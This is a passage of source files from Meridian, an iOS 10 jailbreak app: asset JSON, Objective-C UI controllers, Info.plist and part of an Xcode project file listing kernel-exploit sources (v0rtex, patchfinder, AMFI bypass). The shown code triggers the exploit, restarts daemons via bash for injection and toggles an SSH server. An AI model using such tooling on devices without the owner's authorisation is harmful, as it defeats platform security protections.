"version" : 1, "author" : "xcode" }, "properties" : { "template-rendering-intent" : "template" } } ================================================ FILE: Meridian/Meridian/views/Assets.xcassets/Icons/list.imageset/Contents.json ================================================ { "images" : [ { "idiom" : "universal", "scale" : "1x" }, { "idiom" : "universal", "filename" : "list@2x.png", "scale" : "2x" }, { "idiom" : "universal", "filename" : "list@3x.png", "scale" : "3x" } ], "info" : { "version" : 1, "author" : "xcode" }, "properties" : { "template-rendering-intent" : "template" } } ================================================ FILE: Meridian/Meridian/views/Assets.xcassets/Icons/settings.imageset/Contents.json ================================================ { "images" : [ { "idiom" : "universal", "scale" : "1x" }, { "idiom" : "universal", "filename" : "settings@2x.png", "scale" : "2x" }, { "idiom" : "universal", "filename" : "settings@3x.png", "scale" : "3x" } ], "info" : { "version" : 1, "author" : "xcode" }, "properties" : { "template-rendering-intent" : "template" } } ================================================ FILE: Meridian/Meridian/views/Assets.xcassets/Icons/source_code.imageset/Contents.json ================================================ { "images" : [ { "idiom" : "universal", "scale" : "1x" }, { "idiom" : "universal", "filename" : "source_code@2x.png", "scale" : "2x" }, { "idiom" : "universal", "filename" : "source_code@3x.png", "scale" : "3x" } ], "info" : { "version" : 1, "author" : "xcode" }, "properties" : { "template-rendering-intent" : "template" } } ================================================ FILE: Meridian/Meridian/views/Assets.xcassets/Icons/synchronize.imageset/Contents.json ================================================ { "images" : [ { "idiom" : "universal", "scale" : "1x" }, { "idiom" : "universal", "filename" : "synchronize@2x.png", "scale" : "2x" }, { "idiom" : "universal", "filename" : "synchronize@3x.png", "scale" : "3x" } ], "info" : { "version" : 1, "author" : "xcode" }, "properties" : { "template-rendering-intent" : "template" } } ================================================ FILE: Meridian/Meridian/views/Assets.xcassets/Icons/trash.imageset/Contents.json ================================================ { "images" : [ { "idiom" : "universal", "scale" : "1x" }, { "idiom" : "universal", "filename" : "trash@2x.png", "scale" : "2x" }, { "idiom" : "universal", "filename" : "trash@3x.png", "scale" : "3x" } ], "info" : { "version" : 1, "author" : "xcode" }, "properties" : { "template-rendering-intent" : "template" } } ================================================ FILE: Meridian/Meridian/views/Assets.xcassets/Icons/twitter.imageset/Contents.json ================================================ { "images" : [ { "idiom" : "universal", "scale" : "1x" }, { "idiom" : "universal", "filename" : "twitter@2x.png", "scale" : "2x" }, { "idiom" : "universal", "filename" : "twitter@3x.png", "scale" : "3x" } ], "info" : { "version" : 1, "author" : "xcode" }, "properties" : { "template-rendering-intent" : "template" } } ================================================ FILE: Meridian/Meridian/views/Assets.xcassets/Icons/www.imageset/Contents.json ================================================ { "images" : [ { "idiom" : "universal", "scale" : "1x" }, { "idiom" : "universal", "filename" : "www@2x.png", "scale" : "2x" }, { "idiom" : "universal", "filename" : "www@3x.png", "scale" : "3x" } ], "info" : { "version" : 1, "author" : "xcode" }, "properties" : { "template-rendering-intent" : "template" } } ================================================ FILE: Meridian/Meridian/views/Assets.xcassets/Map.imageset/Contents.json ================================================ { "images" : [ { "idiom" : "universal", "filename" : "DarkMap.png" } ], "info" : { "version" : 1, "author" : "xcode" } } ================================================ FILE: Meridian/Meridian/views/Assets.xcassets/Splash.imageset/Contents.json ================================================ { "images" : [ { "idiom" : "universal", "scale" : "1x" }, { "idiom" : "universal", "filename" : "splash@2x.png", "scale" : "2x" }, { "idiom" : "universal", "filename" : "splash@3x.png", "scale" : "3x" } ], "info" : { "version" : 1, "author" : "xcode" } } ================================================ FILE: Meridian/Meridian/views/Base.lproj/LaunchScreen.storyboard ================================================ ================================================ FILE: Meridian/Meridian/views/Base.lproj/Main.storyboard ================================================ ================================================ FILE: Meridian/Meridian/views/CreditsController.h ================================================ // // CreditsController.h // Meridian // // Created by Sticktron on 2018-06-02. // Copyright © 2018 Ben Sparkes. All rights reserved. // #import @interface CreditsController : UIViewController @end ================================================ FILE: Meridian/Meridian/views/CreditsController.m ================================================ // // CreditsController.m // Meridian // // Created by Sticktron on 2018-06-02. // Copyright © 2018 Ben Sparkes. All rights reserved. // #import "CreditsController.h" @interface CreditsController () @end @implementation CreditsController - (void)viewDidLoad { [super viewDidLoad]; // Do any additional setup after loading the view. } - (void)didReceiveMemoryWarning { [super didReceiveMemoryWarning]; // Dispose of any resources that can be recreated. } - (void)openLink:(NSString *)url { [[UIApplication sharedApplication] openURL:[NSURL URLWithString:url] options:@{} completionHandler:nil]; } - (IBAction)buttonPressed:(UIButton *)sender { NSString *url = [NSString stringWithFormat:@"http://www.twitter.com/%@", sender.titleLabel.text]; [self openLink:url]; } /* #pragma mark - Navigation // In a storyboard-based application, you will often want to do a little preparation before navigation - (void)prepareForSegue:(UIStoryboardSegue *)segue sender:(id)sender { // Get the new view controller using [segue destinationViewController]. // Pass the selected object to the new view controller. } */ @end ================================================ FILE: Meridian/Meridian/views/Info.plist ================================================ CFBundleDevelopmentRegion $(DEVELOPMENT_LANGUAGE) CFBundleExecutable $(EXECUTABLE_NAME) CFBundleIdentifier $(PRODUCT_BUNDLE_IDENTIFIER) CFBundleInfoDictionaryVersion 6.0 CFBundleName $(PRODUCT_NAME) CFBundlePackageType APPL CFBundleShortVersionString 1.0 CFBundleVersion 1 LSRequiresIPhoneOS UILaunchStoryboardName LaunchScreen UIMainStoryboardFile Main UIRequiredDeviceCapabilities armv7 UIRequiresFullScreen UIStatusBarHidden UIStatusBarStyle UIStatusBarStyleDefault UISupportedInterfaceOrientations UIInterfaceOrientationPortrait UISupportedInterfaceOrientations~ipad UIInterfaceOrientationPortrait UIViewControllerBasedStatusBarAppearance ================================================ FILE: Meridian/Meridian/views/SettingsController.h ================================================ // // SettingsController.h // Meridian // // Created by Sticktron on 2018-04-03. // Copyright © 2018 Ben Sparkes. All rights reserved. // #import @interface SettingsController : UITableViewController @end ================================================ FILE: Meridian/Meridian/views/SettingsController.m ================================================ // // SettingsController.m // Meridian // // Created by Sticktron on 2018-04-03. // Copyright © 2018 Ben Sparkes. All rights reserved. // #import "SettingsController.h" #import "Preferences.h" @interface SettingsController () @property (weak, nonatomic) IBOutlet UISwitch *tweaksEnabledSwitch; @property (weak, nonatomic) IBOutlet UISwitch *startLaunchDaemonsSwitch; @property (weak, nonatomic) IBOutlet UITextField *bootNonceEntryField; @property (weak, nonatomic) IBOutlet UISwitch *startDropbearSwitch; @property (weak, nonatomic) IBOutlet UISegmentedControl *dropbearPortControl; @property (weak, nonatomic) IBOutlet UITableViewCell *psychoTwitterCell; @property (weak, nonatomic) IBOutlet UITableViewCell *issueTrackerCell; @property (weak, nonatomic) IBOutlet UITableViewCell *sourceCodeCell; @property (weak, nonatomic) IBOutlet UITableViewCell *websiteCell; @end @implementation SettingsController - (void)viewDidLoad { [super viewDidLoad]; _tweaksEnabledSwitch.on = tweaksAreEnabled(); _startLaunchDaemonsSwitch.on = startLaunchDaemonsIsEnabled(); _bootNonceEntryField.text = [NSString stringWithFormat:@"0x%llx", getBootNonceValue()]; _startDropbearSwitch.on = startDropbearIsEnabled(); _dropbearPortControl.selectedSegmentIndex = listenPort(); _bootNonceEntryField.delegate = self; } - (void)didReceiveMemoryWarning { [super didReceiveMemoryWarning]; // Dispose of any resources that can be recreated. } - (void)openLink:(NSString *)url { [[UIApplication sharedApplication] openURL:[NSURL URLWithString:url] options:@{} completionHandler:nil]; } - (IBAction)tweaksEnabledValueChanged:(UISwitch *)sender { setTweaksEnabled(sender.isOn); } - (IBAction)startLaunchDaemonsValueChanged:(UISwitch *)sender { setStartLaunchDaemonsEnabled(sender.isOn); } - (IBAction)startDropbearValueChanged:(UISwitch *)sender { setStartDropbearEnabled(sender.isOn); } - (IBAction)dropbearPortValueChanged:(UISegmentedControl *)sender { setListenPort(sender.selectedSegmentIndex); } - (BOOL)textFieldShouldReturn:(UITextField *)textField { [textField resignFirstResponder]; return YES; } - (IBAction)bootNonceEditingEnded:(UITextField *)sender { const char *generatorInput = [sender.text UTF8String]; if (strcmp(generatorInput, "0x0") == 0) { // Reset/disable the generator setBootNonceValue(0x0); // Set it to the Electra nonce _bootNonceEntryField.text = [NSString stringWithFormat:@"0x%llx", getBootNonceValue()]; return; } char compareString[22]; uint64_t rawGeneratorValue; sscanf(generatorInput, "0x%16llx", &rawGeneratorValue); sprintf(compareString, "0x%016llx", rawGeneratorValue); if (strcmp(compareString, generatorInput) != 0) { NSString *message = [NSString stringWithFormat:@"The generator you provided was invalid. The generator should be in the format '0x1234567890123456'"]; UIAlertController *alert = [UIAlertController alertControllerWithTitle:@"Invalid Generator" message:message preferredStyle:UIAlertControllerStyleAlert]; UIAlertAction *closeAction = [UIAlertAction actionWithTitle:@"Close" style:UIAlertActionStyleCancel handler:nil]; [alert addAction:closeAction]; [self presentViewController:alert animated:YES completion:nil]; // Reset/disable the generator setBootNonceValue(0x0); // Set it to the Electra nonce _bootNonceEntryField.text = [NSString stringWithFormat:@"0x%llx", getBootNonceValue()]; return; } setBootNonceValue(rawGeneratorValue); } #pragma mark - Table view - (void)tableView:(UITableView *)tableView didSelectRowAtIndexPath:(NSIndexPath *)indexPath { UITableViewCell *cell = [tableView cellForRowAtIndexPath:indexPath]; [tableView deselectRowAtIndexPath:indexPath animated:YES]; if (cell == self.psychoTwitterCell) { [self openLink:@"http://www.twitter.com/iBSparkes"]; } else if (cell == self.websiteCell) { [self openLink:@"https://meridian.sparkes.zone"]; } else if (cell == self.issueTrackerCell) { [self openLink:@"https://github.com/PsychoTea/MeridianJB/issues"]; } else if (cell == self.sourceCodeCell) { [self openLink:@"https://github.com/PsychoTea/MeridianJB"]; } } #pragma mark - Navigation @end ================================================ FILE: Meridian/Meridian/views/ViewController.h ================================================ // // ViewController.h // Meridian // // Created by Ben Sparkes on 22/12/2017. // Copyright © 2017 Ben Sparkes. All rights reserved. // #import "v0rtex.h" #import @interface ViewController : UIViewController - (void)writeText:(NSString *)message; - (void)writeTextPlain:(NSString *)message, ...; @end task_t tfp0; kptr_t kslide; kptr_t kernel_base; kptr_t kern_ucred; kptr_t kernprocaddr; void log_message(NSString *message); ================================================ FILE: Meridian/Meridian/views/ViewController.m ================================================ // // ViewController.m // Meridian // // Created by Ben Sparkes on 22/12/2017. // Copyright © 2017 Ben Sparkes. All rights reserved. // #import "ViewController.h" #include "helpers.h" #include "jailbreak.h" #include #include #import @interface ViewController () @property (weak, nonatomic) IBOutlet UIButton *goButton; @property (weak, nonatomic) IBOutlet UIButton *creditsButton; @property (weak, nonatomic) IBOutlet UIButton *websiteButton; @property (weak, nonatomic) IBOutlet UIActivityIndicatorView *progressSpinner; @property (weak, nonatomic) IBOutlet UITextView *textArea; @property (weak, nonatomic) IBOutlet UILabel *versionLabel; @end NSString *Version = @"Meridian: v0.9-007 Pre-Release"; NSOperatingSystemVersion osVersion; id thisClass; bool has_run_once = false; bool jailbreak_has_run = false; @implementation ViewController - (void)viewDidLoad { [super viewDidLoad]; thisClass = self; [self.goButton.layer setCornerRadius:5]; [self.creditsButton.layer setCornerRadius:5]; [self.websiteButton.layer setCornerRadius:5]; if ([Version containsString:@"Internal"]) { NSString *buildDate = [NSString stringWithContentsOfFile:[NSString stringWithFormat:@"%s", bundled_file("build_time")] encoding:NSUTF8StringEncoding error:nil]; [self.versionLabel setText:[NSString stringWithFormat:@"%@: %@", Version, buildDate]]; } else { [self.versionLabel setText:[NSString stringWithFormat:@"%@", Version]]; } jailbreak_has_run = check_for_jailbreak(); // [self doUpdateCheck]; // Log current device and version info osVersion = [[NSProcessInfo processInfo] operatingSystemVersion]; [self writeTextPlain:[NSString stringWithFormat:@"> %@", Version]]; if (osVersion.majorVersion != 10) { [self writeTextPlain:@"> Meridian does not work on versions of iOS other than iOS 10."]; [self writeTextPlain:[NSString stringWithFormat:@"> found iOS version %@", [self getVersionString]]]; [self.goButton setHidden:YES]; return; } [self writeTextPlain:[NSString stringWithFormat:@"> %s on iOS %@ (Build %@)", [self getDeviceIdentifier], [self getVersionString], [self getBuildString]]]; if (jailbreak_has_run) { [self writeTextPlain:@"> already jailbroken."]; // set done button [self.goButton setTitle:@"done" forState:UIControlStateNormal]; // aaaaand grey it out [self.goButton setEnabled:NO]; [self.goButton setAlpha:0.5]; return; } // Device is already jailbroken, but not with Meridian if (file_exists("/private/var/lib/dpkg/status") == 0 && file_exists("/.meridian_installed")) { [self writeTextPlain:@"this device has already been jailbroken with another tool. please run Cydia Eraser to wipe this device to ensure you encounter no issues with Meridian"]; [self writeTextPlain:@"if you have jailbroken with a Meridian Public Beta, please install the latest Public Beta and use the 'uninstall' option"]; [self.goButton setTitle:@"please erase" forState:UIControlStateNormal]; [self.goButton setEnabled:NO]; [self.goButton setAlpha:0.5]; return; } // Credits to tihm on waiting dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_HIGH, 0), ^(void) { int waitTime; while ((waitTime = 90 - uptime()) > 0) { dispatch_async(dispatch_get_main_queue(), ^{ [self.goButton setTitle:[NSString stringWithFormat:@"wait: %d", waitTime] forState:UIControlStateNormal]; [self.goButton setEnabled:false]; [self.goButton setAlpha:0.6]; }); sleep(1); } dispatch_async(dispatch_get_main_queue(), ^{ [self.goButton setTitle:@"go" forState:UIControlStateNormal]; [self.goButton setEnabled:true]; [self.goButton setAlpha:1]; [self writeTextPlain:@"> ready."]; }); }); NSLog(@"App bundle directory: %s", bundle_path()); } - (IBAction)goButtonPressed:(UIButton *)sender { // when jailbreak runs, 'go' button is // turned to 'respring' if (jailbreak_has_run) { chown("/meridian/ldrestart", 0, 0); chmod("/meridian/ldrestart", 0755); chown("/meridian/nohup", 0, 0); chmod("/meridian/nohup", 0755); // ldrestart restarts all launch daemons, // allowing shit to be injected into 'em int rv = execprog("/bin/bash", (const char **)&(const char*[]) { "/bin/bash", "-c", "/meridian/nohup /meridian/ldrestart 2>&1 >/dev/null &", NULL }); if (rv != 0) { [self writeTextPlain:@"failed to run ldrestart."]; return; } [self.goButton setHidden:YES]; return; } // if we've run once, just reboot if (has_run_once) { [self.goButton setHidden:YES]; restart_device(); return; } // set up the UI to 'running' state [self.goButton setEnabled:NO]; [self.goButton setHidden:YES]; [self.creditsButton setEnabled:NO]; self.creditsButton.alpha = 0.5; [self.websiteButton setEnabled:NO]; self.websiteButton.alpha = 0.5; [self.progressSpinner startAnimating]; has_run_once = true; // background thread so we can update the UI dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_HIGH, 0), ^(void) { int ret = makeShitHappen(self); if (ret != 0) { NSLog(@"MERIDIAN HAS FAILED TO RUN :("); dispatch_async(dispatch_get_main_queue(), ^{ [self exploitFailed]; }); return; } dispatch_async(dispatch_get_main_queue(), ^{ [self exploitSucceeded]; }); }); } - (IBAction)websiteButtonPressed:(UIButton *)sender { [[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"https://meridian.sparkes.zone"] options:@{} completionHandler:nil]; } - (char *)getDeviceIdentifier { static struct utsname u; uname(&u); return u.machine; } - (NSString *)getVersionString { return [NSString stringWithFormat:@"%ld.%ld.%ld", (long)osVersion.majorVersion, (long)osVersion.minorVersion, (long)osVersion.patchVersion]; } - (NSString *)getBuildString { NSString *verString = [[NSProcessInfo processInfo] operatingSystemVersionString]; // wish there was a better way of doing this (hopefully there is) NSRegularExpression *regex = [NSRegularExpression regularExpressionWithPattern:@"14[A-Za-z0-9]{3,5}" options:0 error:nil]; NSRange range = [regex rangeOfFirstMatchInString:verString options:0 range:NSMakeRange(0, [verString length])]; return [verString substringWithRange:range]; } - (void)exploitSucceeded { jailbreak_has_run = true; [self writeTextPlain:@"\n> your device has been freed! \n"]; [self writeTextPlain:@"note: please click 'respring' to get this party started :) \n"]; [self.progressSpinner stopAnimating]; [self.goButton setEnabled:YES]; [self.goButton setHidden:NO]; [self.goButton setTitle:@"respring" forState:UIControlStateNormal]; [self.creditsButton setEnabled:YES]; self.creditsButton.alpha = 1; [self.websiteButton setEnabled:YES]; self.websiteButton.alpha = 1; } - (void)exploitFailed { [self writeTextPlain:@"exploit failed. please reboot & try again."]; [self.goButton setEnabled:YES]; [self.goButton setHidden:NO]; [self.goButton setTitle:@"reboot" forState:UIControlStateNormal]; [self.creditsButton setEnabled:YES]; [self.creditsButton setAlpha:1]; [self.websiteButton setEnabled:YES]; [self.websiteButton setAlpha:1]; [self.progressSpinner stopAnimating]; } - (void)doUpdateCheck { // skip the version check if we're running an internal build if ([Version containsString:@"Internal"]) { NSLog(@"internal build detected, skipping"); return; } NSURL *url = [NSURL URLWithString:@"https://meridian.sparkes.zone/latest"]; NSURLSessionDataTask *downloadTask = [[NSURLSession sharedSession] dataTaskWithURL:url completionHandler:^(NSData *data, NSURLResponse *header, NSError *error) { if (error != nil) { NSLog(@"failed to get information from the update server."); return; } NSString *response = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding]; NSLog(@"got response '%@', Version '%@'", response, Version); if (response != Version) { [self doUpdatePopup:response]; } }]; [downloadTask resume]; } - (void)doUpdatePopup:(NSString *)update { NSString *message = [NSString stringWithFormat:@"An update is available for Meridian: %@It can be downloaded from the website.", update]; UIAlertController *alert = [UIAlertController alertControllerWithTitle:@"Meridian Update" message:message preferredStyle:UIAlertControllerStyleAlert]; UIAlertAction *websiteAction = [UIAlertAction actionWithTitle:@"Website" style:UIAlertActionStyleDefault handler:^(UIAlertAction * action) { [[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"https://meridian.sparkes.zone"] options:@{} completionHandler:nil]; }]; UIAlertAction *closeAction = [UIAlertAction actionWithTitle:@"Close" style:UIAlertActionStyleCancel handler:nil]; [alert addAction:websiteAction]; [alert addAction:closeAction]; [self presentViewController:alert animated:YES completion:nil]; } - (void)writeText:(NSString *)message { dispatch_async(dispatch_get_main_queue(), ^{ if (![message isEqual: @"done!"] && ![message isEqual:@"failed!"]) { NSLog(@"%@", message); [self.textArea setText:[self.textArea.text stringByAppendingString:[NSString stringWithFormat:@"%@ ", message]]]; } else { [self.textArea setText:[self.textArea.text stringByAppendingString:[NSString stringWithFormat:@"%@\n", message]]]; } NSRange bottom = NSMakeRange(self.textArea.text.length - 1, 1); [self.textArea scrollRangeToVisible:bottom]; }); } - (void)writeTextPlain:(NSString *)message, ... { va_list args; va_start(args, message); message = [[NSString alloc] initWithFormat:[message stringByAppendingString:@"\n"] arguments:args]; dispatch_async(dispatch_get_main_queue(), ^{ [self.textArea setText:[self.textArea.text stringByAppendingString:message]]; NSRange bottom = NSMakeRange(self.textArea.text.length - 1, 1); [self.textArea scrollRangeToVisible:bottom]; NSLog(@"%@", message); }); va_end(args); } // kinda dumb, kinda lazy, ¯\_(ツ)_/¯ void log_message(NSString *message) { [thisClass writeTextPlain:message]; } @end ================================================ FILE: Meridian/Meridian.xcodeproj/project.pbxproj ================================================ // !$*UTF8*$! { archiveVersion = 1; classes = { }; objectVersion = 48; objects = { /* Begin PBXBuildFile section */ B50D4C0F2122500800F61B82 /* offsetdump.m in Sources */ = {isa = PBXBuildFile; fileRef = B50D4C0E2122500800F61B82 /* offsetdump.m */; }; B50F79571FF2248D000D6015 /* patchfinder64.c in Sources */ = {isa = PBXBuildFile; fileRef = B50F79401FF2248B000D6015 /* patchfinder64.c */; }; B50F795C1FF2248D000D6015 /* root-rw.m in Sources */ = {isa = PBXBuildFile; fileRef = B50F79461FF2248B000D6015 /* root-rw.m */; }; B50F79601FF2248D000D6015 /* AppDelegate.m in Sources */ = {isa = PBXBuildFile; fileRef = B50F794A1FF2248B000D6015 /* AppDelegate.m */; }; B50F79631FF2248D000D6015 /* kernel.m in Sources */ = {isa = PBXBuildFile; fileRef = B50F794F1FF2248C000D6015 /* kernel.m */; }; B50F79641FF2248D000D6015 /* amfi.m in Sources */ = {isa = PBXBuildFile; fileRef = B50F79531FF2248D000D6015 /* amfi.m */; }; B514CC811FECD788005F4E6B /* Main.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = B514CC7F1FECD788005F4E6B /* Main.storyboard */; }; B514CC831FECD788005F4E6B /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = B514CC821FECD788005F4E6B /* Assets.xcassets */; }; B514CC861FECD788005F4E6B /* LaunchScreen.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = B514CC841FECD788005F4E6B /* LaunchScreen.storyboard */; }; B514CC901FECDC71005F4E6B /* ViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = B514CC8F1FECDC71005F4E6B /* ViewController.m */; }; B52F29152051C82800F4EB57 /* libimg4tool.a in Frameworks */ = {isa = PBXBuildFile; fileRef = B585F42020519DB40049C703 /* libimg4tool.a */; }; B52F29172051C82800F4EB57 /* libplist.a in Frameworks */ = {isa = PBXBuildFile; fileRef = B585F41F20519DB30049C703 /* libplist.a */; }; B52F29182051C82800F4EB57 /* libplist++.a in Frameworks */ = {isa = PBXBuildFile; fileRef = B585F41E20519DB30049C703 /* libplist++.a */; }; B52F29282051F10800F4EB57 /* fucksigningservices.m in Sources */ = {isa = PBXBuildFile; fileRef = B52F29272051F10800F4EB57 /* fucksigningservices.m */; }; B5370199202EAC00004E5E5C /* installer-base.tar in Resources */ = {isa = PBXBuildFile; fileRef = B5370198202EABFF004E5E5C /* installer-base.tar */; }; B537019B202EB4BF004E5E5C /* dpkgdb-base.tar in Resources */ = {isa = PBXBuildFile; fileRef = B537019A202EB4BF004E5E5C /* dpkgdb-base.tar */; }; B56929D7203708030044FF60 /* jailbreak.m in Sources */ = {isa = PBXBuildFile; fileRef = B56929D6203708020044FF60 /* jailbreak.m */; }; B5783DB2210DDBE0004339F8 /* nonce.m in Sources */ = {isa = PBXBuildFile; fileRef = B5783DB1210DDBE0004339F8 /* nonce.m */; }; B578A6542007FD8100C19091 /* v0rtex.m in Sources */ = {isa = PBXBuildFile; fileRef = B5B7C2B51FF353970087619A /* v0rtex.m */; }; B57A06EA202CEDF500ACDB9D /* cydia-base.tar in Resources */ = {isa = PBXBuildFile; fileRef = B57A06E6202CEDF500ACDB9D /* cydia-base.tar */; }; B57A06EB202CEDF500ACDB9D /* optional-base.tar in Resources */ = {isa = PBXBuildFile; fileRef = B57A06E7202CEDF500ACDB9D /* optional-base.tar */; }; B57A06EC202CEDF500ACDB9D /* system-base.tar in Resources */ = {isa = PBXBuildFile; fileRef = B57A06E8202CEDF500ACDB9D /* system-base.tar */; }; B57A06EF202CF4F300ACDB9D /* tar.tar in Resources */ = {isa = PBXBuildFile; fileRef = B57A06EE202CF4F300ACDB9D /* tar.tar */; }; B57CBF62205DA3DF00EEDA20 /* jailbreak_daemonUser.c in Sources */ = {isa = PBXBuildFile; fileRef = B57CBF60205DA3DF00EEDA20 /* jailbreak_daemonUser.c */; }; B582405F1FF75A4000D96DB5 /* helpers.m in Sources */ = {isa = PBXBuildFile; fileRef = B582405E1FF75A4000D96DB5 /* helpers.m */; }; B584C54A20376BCB00BF4118 /* untar.m in Sources */ = {isa = PBXBuildFile; fileRef = B584C54920376BCA00BF4118 /* untar.m */; }; B585494B20A64F8F00107CF2 /* nvpatch.c in Sources */ = {isa = PBXBuildFile; fileRef = B585494A20A64F8F00107CF2 /* nvpatch.c */; }; B585F4182051993E0049C703 /* offsetfinder.mm in Sources */ = {isa = PBXBuildFile; fileRef = B585F4172051993E0049C703 /* offsetfinder.mm */; }; B5A034FD210D162900C0E52E /* preferences.m in Sources */ = {isa = PBXBuildFile; fileRef = B5A034FC210D162900C0E52E /* preferences.m */; }; B5A4EA95205F14CE00B32F89 /* meridian-bootstrap.tar in Resources */ = {isa = PBXBuildFile; fileRef = B5A4EA94205F14CD00B32F89 /* meridian-bootstrap.tar */; }; B5B7C2A01FF2BA100087619A /* main.m in Sources */ = {isa = PBXBuildFile; fileRef = B5B7C29F1FF2BA100087619A /* main.m */; }; B5B7C2AB1FF2C7860087619A /* IOKit.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = B5B7C2AA1FF2C7860087619A /* IOKit.framework */; }; B5B9E03B2060280500FEA273 /* build_time in Resources */ = {isa = PBXBuildFile; fileRef = B5B9E03A2060280400FEA273 /* build_time */; }; B5C4FBDC2052E67700F82D43 /* SettingsController.m in Sources */ = {isa = PBXBuildFile; fileRef = B5C4FBD92052E67700F82D43 /* SettingsController.m */; }; B5DF1AC020597A120090B4B5 /* liboffsetfinder64.a in Frameworks */ = {isa = PBXBuildFile; fileRef = B5DF1ABF20597A120090B4B5 /* liboffsetfinder64.a */; }; B5DF1AC22059C0E20090B4B5 /* libmerged.a in Frameworks */ = {isa = PBXBuildFile; fileRef = B5DF1AC12059C0E20090B4B5 /* libmerged.a */; }; B5DF1AC42059C14E0090B4B5 /* libcompression.tbd in Frameworks */ = {isa = PBXBuildFile; fileRef = B5DF1AC32059C14E0090B4B5 /* libcompression.tbd */; }; EE45BD8F20C2DEDE00D627C0 /* CreditsController.m in Sources */ = {isa = PBXBuildFile; fileRef = EE45BD8E20C2DEDE00D627C0 /* CreditsController.m */; }; /* End PBXBuildFile section */ /* Begin PBXContainerItemProxy section */ B5555EBA20543A4100D62F57 /* PBXContainerItemProxy */ = { isa = PBXContainerItemProxy; containerPortal = B514CC6E1FECD787005F4E6B /* Project object */; proxyType = 1; remoteGlobalIDString = B5555EA6205438CA00D62F57; remoteInfo = amfid; }; B5555EBE20543A4100D62F57 /* PBXContainerItemProxy */ = { isa = PBXContainerItemProxy; containerPortal = B514CC6E1FECD787005F4E6B /* Project object */; proxyType = 1; remoteGlobalIDString = B5555EAE205438F300D62F57; remoteInfo = pspawn_hook; }; B5555EC020543A4100D62F57 /* PBXContainerItemProxy */ = { isa = PBXContainerItemProxy; containerPortal = B514CC6E1FECD787005F4E6B /* Project object */; proxyType = 1; remoteGlobalIDString = B5555EB22054390100D62F57; remoteInfo = jailbreakd; }; /* End PBXContainerItemProxy section */ /* Begin PBXFileReference section */ B50D4C0E2122500800F61B82 /* offsetdump.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = offsetdump.m; sourceTree = ""; }; B50F793B1FF2248A000D6015 /* common.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = common.h; sourceTree = ""; }; B50F79401FF2248B000D6015 /* patchfinder64.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = patchfinder64.c; sourceTree = ""; }; B50F79461FF2248B000D6015 /* root-rw.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = "root-rw.m"; sourceTree = ""; }; B50F79481FF2248B000D6015 /* main.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = main.m; sourceTree = ""; }; B50F794A1FF2248B000D6015 /* AppDelegate.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = AppDelegate.m; sourceTree = ""; }; B50F794C1FF2248C000D6015 /* patchfinder64.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = patchfinder64.h; sourceTree = ""; }; B50F794E1FF2248C000D6015 /* amfi.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = amfi.h; sourceTree = ""; }; B50F794F1FF2248C000D6015 /* kernel.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = kernel.m; sourceTree = ""; }; B50F79511FF2248C000D6015 /* kernel.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kernel.h; sourceTree = ""; }; B50F79521FF2248C000D6015 /* root-rw.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = "root-rw.h"; sourceTree = ""; }; B50F79531FF2248D000D6015 /* amfi.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = amfi.m; sourceTree = ""; }; B514CC761FECD788005F4E6B /* Meridian.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = Meridian.app; sourceTree = BUILT_PRODUCTS_DIR; }; B514CC791FECD788005F4E6B /* AppDelegate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = AppDelegate.h; sourceTree = ""; }; B514CC7C1FECD788005F4E6B /* ViewController.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = ViewController.h; sourceTree = ""; }; B514CC801FECD788005F4E6B /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/Main.storyboard; sourceTree = ""; }; B514CC821FECD788005F4E6B /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Assets.xcassets; sourceTree = ""; }; B514CC851FECD788005F4E6B /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/LaunchScreen.storyboard; sourceTree = ""; }; B514CC871FECD788005F4E6B /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = ""; }; B514CC8F1FECDC71005F4E6B /* ViewController.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = ViewController.m; sourceTree = ""; }; B52F29232051E33500F4EB57 /* Working_with_libjailbreak.md */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = net.daringfireball.markdown; name = Working_with_libjailbreak.md; path = ../Working_with_libjailbreak.md; sourceTree = ""; }; B52F29262051F10800F4EB57 /* fucksigningservices.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = fucksigningservices.h; sourceTree = ""; }; B52F29272051F10800F4EB57 /* fucksigningservices.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = fucksigningservices.m; sourceTree = ""; }; B5370198202EABFF004E5E5C /* 